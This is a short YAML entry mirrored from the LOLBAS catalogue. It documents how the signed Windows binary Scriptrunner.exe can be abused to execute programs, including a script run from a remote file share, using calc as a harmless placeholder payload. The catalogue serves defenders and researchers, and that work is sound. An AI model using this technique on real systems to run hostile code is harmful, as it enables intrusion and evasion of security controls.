mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-10-23 00:58:42 +02:00
22 lines
671 B
YAML
22 lines
671 B
YAML
---
|
|
Name: Scriptrunner.exe
|
|
Description: Execute
|
|
Author: ''
|
|
Created: '2018-05-25'
|
|
Categories: []
|
|
Commands:
|
|
- Command: Scriptrunner.exe -appvscript calc.exe
|
|
Description: Execute calc.exe.
|
|
- Command: ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
|
|
Description: Execute the calc.cmd script on the remote share.
|
|
Full Path:
|
|
- c:\windows\system32\scriptrunner.exe
|
|
- c:\windows\sysWOW64\scriptrunner.exe
|
|
Code Sample: []
|
|
Detection: []
|
|
Resources:
|
|
- https://twitter.com/KyleHanslovan/status/914800377580503040
|
|
- https://twitter.com/NickTyrer/status/914234924655312896
|
|
- https://github.com/MoooKitty/Code-Execution
|
|
Notes: Thanks to Nick Tyrer - @NickTyrer
|